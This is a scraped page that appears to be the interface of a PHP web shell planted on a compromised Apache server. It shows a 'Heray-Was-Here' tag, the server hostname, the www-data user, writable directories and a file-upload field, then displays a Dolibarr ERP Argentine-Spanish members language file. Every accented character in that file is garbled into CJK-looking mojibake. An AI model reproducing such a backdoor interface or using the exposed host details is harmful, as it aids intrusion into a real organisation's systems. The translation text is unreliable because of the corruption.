Heray-Was-Here
Server : Apache
System : Linux mail.lomejor.cr 6.8.0-1059-azure #65~22.04.1-Ubuntu SMP Thu May 28 16:59:19 UTC 2026 x86_64
User : www-data ( 33)
PHP Version : 8.2.31
Disable Function : NONE
Directory :  /var/www/erp/htdocs/langs/es_AR/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /var/www/erp/htdocs/langs/es_AR/members.lang
# Dolibarr language file - Source file is en_US - members
MembersArea=Area de miembros
MemberCard=Ficha de miembro
SubscriptionCard=Ficha de la suscripci贸n
ShowMember=Mostrar ficha de miembro
ThirdpartyNotLinkedToMember=Tercero no vinculado a un miembro
FundationMembers=Miembros de la fundaci贸n
ErrorMemberIsAlreadyLinkedToThisThirdParty=Otro miembro (nombre: <b>%s</b>, usuario: <b>%s</b>) est谩 vinculado al tercero <b>%s</b>. Debes quitar primero este v铆nculo pues un tercero no puede estar vinculado a m谩s de un miembro (y viceversa).
ErrorUserPermissionAllowsToLinksToItselfOnly=Por motivos de seguridad, debe tener permisos para editar todos los usuarios para poder vincular a un miembro a un usuario que no sea suyo.
SetLinkToThirdParty=Vincular a un tercedo de Dolibarr
MembersList=Lista de miembros
MembersListToValid=Lista de miembros en estado borrador (a ser validados)
MembersListValid=Lista de miembros v谩lidos
MembersListResiliated=Lista de miembros terminados
MembersListQualified=Lista de miembros calificados
MenuMembersToValidate=Miembros en Borrador
MenuMembersValidated=Miembros v谩lidos
MenuMembersResiliated=Miembros terminados
MemberTypeId=ID Tipo de Miembro
MemberTypeLabel=Etiqueta Tipo de miembro
MemberStatusDraft=Borrador (necesita ser validado)
MemberStatusActiveLateShort=Vencidos
MemberStatusPaid=Suscripci贸n al d铆a
MemberStatusResiliated=Miembro terminado
MemberStatusResiliatedShort=Terminado
MembersStatusToValid=Miembros en Borrador
MembersStatusResiliated=Miembros terminados
MemberStatusNoSubscriptionShort=V谩lido
NewCotisation=Nueva contribuci贸n
PaymentSubscription=Nuevo pago de contribuci贸n
SubscriptionEndDate=Fecha de finalizaci贸n de la suscripci贸n
MembersTypeSetup=Configuraci贸n de tipo de miembros
ConfirmDeleteMemberType=驴Est谩s seguro de que quieres eliminar este tipo de miembro?
MemberTypeCanNotBeDeleted=El tipo de miembro no se puede eliminar
NewSubscription=Nueva contribuci贸n
NewSubscriptionDesc=Este formulario te permite registrar tu suscripci贸n como un nuevo miembro de la fundaci贸n. Si deseas renovar tu suscripci贸n (si ya eres miembro), comun铆cate con la fundaci贸n al correo %s.
SubscriptionLate=Tarde
SendCardByMail=Enviar ficha por correo
NoTypeDefinedGoToSetup=No hay tipos de miembros definidos. V茅 al men煤 "Tipos de miembros"
WelcomeEMail=Correo de bienvenida
VoteAllowed=Voto permitido
ResiliateMember=Terminar a un miembro
ConfirmResiliateMember=驴Est谩s seguro de que quieres terminar con este miembro?
DeleteMember=Eliminar a un miembro
DeleteSubscription=Eliminar una suscripci贸n
Filehtpasswd=archivo htpasswd
ConfirmValidateMember=驴Est谩s seguro que quieres validar a este miembro?
PublicMemberList=Lista p煤blica de miembros
BlankSubscriptionFormDesc=Dolibarr puede proporcionarte una URL/sitio web p煤blico para permitir que los visitantes externos puedan solicitar suscribirse a la fundaci贸n. Si se habilita un m贸dulo de pago en l铆nea, tambi茅n se puede proporcionar autom谩ticamente un formulario para este fin.
EnablePublicSubscriptionForm=Habilite el sitio p煤blico con el formulario de auto suscripci贸n
LastMembersModified=脷ltimos %smiembros modificados
Text=Texto
PublicMemberCard=Ficha p煤blica de miembro
SendingAnEMailToMember=Enviar correo con informaci贸n al miembro
SendingEmailOnAutoSubscription=Enviar correo al registrarse autom谩ticamente
SendingEmailOnMemberValidation=Enviar correo al validar un miembro nuevo
SendingEmailOnCancelation=Enviar correo al cancelar
YourMembershipRequestWasReceived=Tu membres铆a fue recibida.
YourMembershipWasValidated=Tu membres铆a fue validada
YourMembershipWasCanceled=Tu membres铆a fue cancelada
CardContent=Contenido de tu ficha de miembro
ThisIsContentOfYourMembershipRequestWasReceived=Queremos hacerle saber que se recibi贸 su solicitud de membres铆a. <br> <br>
ThisIsContentOfYourSubscriptionWasRecorded=Queremos hacerle saber que su nueva suscripci贸n fue grabada. <br> <br>
ThisIsContentOfSubscriptionReminderEmail=Queremos informarle que su suscripci贸n est谩 a punto de caducar o que ya venci贸 (__MEMBER_LAST_SUBSCRIPTION_DATE_END__). Esperamos que la renueves. <br><br>
ThisIsContentOfYourCard=Este es un resumen de la informaci贸n que tenemos sobre usted. Por favor cont谩ctenos si algo est谩 incorrecto.<br><br>
DescADHERENT_AUTOREGISTER_NOTIF_MAIL_SUBJECT=Asunto del correo de notificaci贸n recibido en caso de auto-inscripci贸n de un invitado
DescADHERENT_AUTOREGISTER_NOTIF_MAIL=Contenido del correo de notificaci贸n recibido en caso de auto-inscripci贸n de un invitado
DescADHERENT_EMAIL_TEMPLATE_MEMBER_VALIDATION=Template a utilizar para enviar correos a un miembro al momento de su validaci贸n
DescADHERENT_EMAIL_TEMPLATE_CANCELATION=Template a utilizar para enviar correos a un miembro al momento de su cancelaci贸n
DescADHERENT_MAIL_FROM=Remitente para correos autom谩ticos
DescADHERENT_ETIQUETTE_TYPE=Formato de p谩gina de etiquetas
DescADHERENT_ETIQUETTE_TEXT=Texto impreso en hojas de direcciones de miembros
DescADHERENT_CARD_TYPE=Formato de la p谩gina de fichas
DescADHERENT_CARD_HEADER_TEXT=Encabezado impreso en las fichas de los miembros
DescADHERENT_CARD_TEXT=Laterial impreso en las fichas del miembro (justificado a izquierda)
DescADHERENT_CARD_TEXT_RIGHT=Lateral impreso en fichas de los miembros (justificado a derecha)
DescADHERENT_CARD_FOOTER_TEXT=Pi茅 de p谩gina impreso en las fichas de los miembros
HTPasswordExport=Generaci贸n de archivo htpassword
MoreActions=Acci贸n complementaria al registrarse
MoreActionBankDirect=Crear una registro en la cuenta bancaria
MoreActionBankViaInvoice=Crear una factura y un pago en cuenta bancaria
MoreActionInvoiceOnly=Crea una factura sin pago
LinkToGeneratedPagesDesc=Esta pantalla te permite generar archivos PDF con la carta de presentaci贸n para todos sus miembros o un miembro en particular.
DocForAllMembersCards=Generar cartas de presentaci贸n para todos los miembros.
DocForOneMemberCards=Generar cartas de presentaci贸n para un miembro en particular
DocForLabels=Generar hojas de direcciones
MembersStatisticsByState=Estad铆sticas de miembros por estado/provincia
MembersStatisticsByTown=Estad铆sticas de miembros por ciudad
NoValidatedMemberYet=No se encontraron miembros v谩lidos
MembersStatisticsDesc=Elige las estad铆sticas que deseas visualizar ...
NewMemberbyWeb=Nuevo miembro agregado. Esperando aprobaci贸n
NewMemberForm=Formulario de miembro nuevo
TurnoverOrBudget=Volumen de negocios (para una empresa) o Presupuesto (para una fundaci贸n)
MEMBER_NEWFORM_PAYONLINE=Ve a la p谩gina de pago en l铆nea
MembersStatisticsByProperties=Estad铆sticas de miembros por naturaleza
NoEmailSentToMember=No se han enviado correos al miembro
EmailSentToMember=Correo enviado al miembro a %s
YouMayFindYourInvoiceInThisEmail=Puede encontrar su factura adjunta a este correo

Hry